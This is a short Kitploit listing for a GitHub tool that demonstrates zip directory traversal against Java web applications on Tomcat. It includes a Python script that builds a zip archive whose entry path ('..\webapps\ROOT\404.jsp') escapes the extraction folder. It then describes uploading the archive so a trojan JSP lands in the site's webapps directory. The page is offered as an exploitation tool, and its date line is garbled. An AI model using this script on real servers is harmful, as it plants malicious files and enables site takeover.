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Java-Compressed-file-security — java web 压缩文件 安全 漏洞 | Kitploit
Tools/GitHubGitHub/jas502n/java-compressed-file-security
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubjas502n/java-compressed-file-security

Java-Compressed-file-security

java web 压缩文件 安全 漏洞

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2066 years agoReviewed by Kitploit

Java-Compressed-file-security java web Compressed File Security Vulnerability

Test environment:

root@kitploit:~
Windows For Apache Tomcat/8.5.16

0x01 Crafting a Directory Traversal Malicious Compressed File

Code:

root@kitploit:~
#coding=utf-8

import zipfile  
import sys

if __name__ == "__main__":  
    try:
        with open("404.jsp", "r") as f:
            binary = f.read()
            zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
            info = zipfile.ZipInfo("test.zip")
            zipFile.writestr("..\\webapps\\ROOT\\404.jsp", binary)
            zipFile.close()
    except IOError as e:
        raise e

0x02 File Upload, Click to Decompress, and the Trojan File Is Extracted to the Website's webapps Directory

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